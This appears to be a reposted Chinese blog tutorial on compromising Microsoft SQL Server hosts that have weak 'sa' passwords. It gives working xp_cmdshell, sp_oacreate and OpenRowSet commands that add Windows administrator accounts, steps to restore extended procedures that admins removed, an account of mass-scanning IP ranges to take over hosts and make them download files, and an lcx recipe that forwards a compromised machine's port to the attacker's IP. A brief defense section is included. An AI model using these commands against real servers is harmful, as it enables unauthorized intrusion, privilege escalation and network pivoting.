关闭

利用mssql弱口令的注入以及防御(安全)

标签: sqlserver数据库windows存储xp扩展
2822人阅读 评论(0) 收藏 举报
分类:

原文地址:http://www.hackmvp.com/donghua/sort0114/16287.html

第一部分:猜解口令和入侵

 大家都知道1433是mssql数据库的默认端口,也都知道sa是mssql数据库的默认的管理员帐号,这个端口入侵以前讲过许多,网上也有很多这方面的资料,下面我就根据我个人在【新世纪网安】的学习来总结一下
 
 首先,要想通过1433端口进入载有mssql数据库的主机并取得权限,我们必须要知道它的弱口令。据我所知,国内很多数据库管理员的安全意识是很差的,一个只有几行的弱口令字典不到1秒钟就能猜解出sa口令。
 
 其次,知道了口令之后,我们要取得管理权限,那么说到提权,目前最常用到的就是扩展存储过程xp_cmdshell和sp_oacreate,sp_oamethod以及xp_regwrite等。其中前两种最为大家所熟悉。下面的表1就简单说明了这两种存储的利用方法。
 
表1、

 1.1 在查询分析器里利用 xp_cmdshell 添加windows管理帐号
 
  e.g:   exec master..xp_cmdshell 'net user 123 /add'
    exec master..xp_cmdshell 'net localgroup administrators 123 /add'
 添加完成后,可以为对方开3389终端服务,这样我们就能用刚才建立的帐号进行登录了,就像操作我们自己的电脑一样来操作对方的电脑。怎么样,是不是很容易?
 
 1.2 在 查询分析器里利用 sp_oacreate,sp_oamethod 添加windows管理帐号

  e.g: 
    declare @o int;
    exec sp_oacreate 'wscript.shell',@o out;
    exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user 123 /add';--
    按<F5>执行,然后

    declare @o int;
    exec sp_oacreate 'wscript.shell',@o out;
    exec sp_oamethod @o,'run',NULL,'cmd.exe /c net localgroup administrators 123 /add';--
    
  同样的,我们就添加了一个系统管理员级别的用户了。
  
  当然我们还可以用沙盒模式进行帐号的添加,这里我操作一下
  
  Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 /add")');
  
  
  检查一下结果,看到了,我们添加上了。
  
 
 但是,随着管理员安全意识和技术水平的提高,以上我们的操作往往会失败,原来,是管理员出于安全考虑,删掉了xp_cmdshell,sp_oacreate,sp_oamethod等存储过程。遇到这种情况,我们就只能对这些存储过程先进行恢复了。下面的表2,简单几句话,就能恢复大多数粗心管理所删掉的扩展存储了。
 

表2、恢复xpshell和oashell

 drop procedure sp_addextendedproc
 exec sp_dropextendedproc 'xp_cmdshell'(这里也可以写成 drop procedure xm_cmdshell)
 drop procedure sp_oacreate
 drop procedure sp_oamethod
 dbcc addextendedproc ("sp_oacreate","odsole70.dll") 【尝试利用数据库自带的dbcc(一致性检查命令)来恢复】
 dbcc addextendedproc ("sp_oamethod","odsole70.dll")
 dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
 
 <试着在自己本机安装一个mssql数据库,删掉前面提到的扩展存储,再用上面的语句试着恢复,会发生什么?>
 
 
第二部分:批量猜解和注入

 第一部分我们了解了原理,那么,可不可以将上面的原理实现在程序代码中呢,答案是可以的。下面我用一款全自动工具来进行扫描和注入,大家看一下是多么的容易。由于扫描的ip段比较大,我是提前开始扫的,快扫到ip段结束的时候暂停,然后开始做动画的,主要是为了节省时间。
 
 好,我们继续。。。大家可以快进一下。这个段设置的比较大。
 
 好了,我们不等了。做这个教程的目的不是教大家扫描抓鸡。呵呵。
 
 绿色字体出现的时候,就是已经猜解出弱口令的
 
 已经开始猜解口令和注入了,这里的serv-u存放着我们的文件,我们发送指令让对方主机来下载我们的文件。怎么样,是不是很轻松容易?这里绿色字体出现的时候,就是已经猜解出弱口令的。猜到之后即刻进行注入,所以显得很快。
 
 看,就这么会儿的时间,就下载和上线了这么多。可想而知我们国内的管理员安全意识是多么的薄弱。
 
 扫描的过程中做做广告,希望大家多来【新世纪网安】学习,一起提高我们的安全技术水平,技术无止境。
 
 
 这个时间我们先看下第三部分,如何防御弱口令利用注入。

第三部分:防御:

 针对以上所述,我们可以采取以下方法进行防御:

 搜索xplog70.dll,xpweb70.dll,odsole70.dll,找到后  改名为 xplog70.dll.bck等。
 
 这样以后需要用到的时候把后面的 .bck 去掉就可以了。

 当然要想更安全,还需要把沙盒模式要用到的xp_regread,xp_regwrite等存储删掉才可以。如果确认你用不倒ias.mdb等Access数据库文件,也把他们改名或者删掉。这样就算你的sa用户是空口令,黑客也要费一翻脑筋了。“最彻底的要数给sa用户降权的做法了”。


sa用户降权的做法:

新建windows用户,隶属于users组或guests组,在服务中找到sqlserver服务器,停止它,设置其登录权限,默认为localsystem,改成你新增的用户,然后重新运行sqlserver即可将SA权限改成普通权限,防止LCX转发提权。


提权教程之lcx转发拿下内网服务器 :

提权思路:利用webshell执行lcx,实现端口发。

首先在自己机子的cmd下运行
lcx.exe -listen 51 3389
意思是监听51端口并转发到3389端口
然后在肉鸡上运行 lcx.exe -slave 你的IP 51 肉机IP 1433
意思是 把肉机的3389端口 转发到 自己的IP 51端口上


 
 谢谢大家!
0
0

查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    个人资料
    • 访问:1789949次
    • 积分:19300
    • 等级:
    • 排名:第469名
    • 原创:234篇
    • 转载:175篇
    • 译文:0篇
    • 评论:91条
    最新评论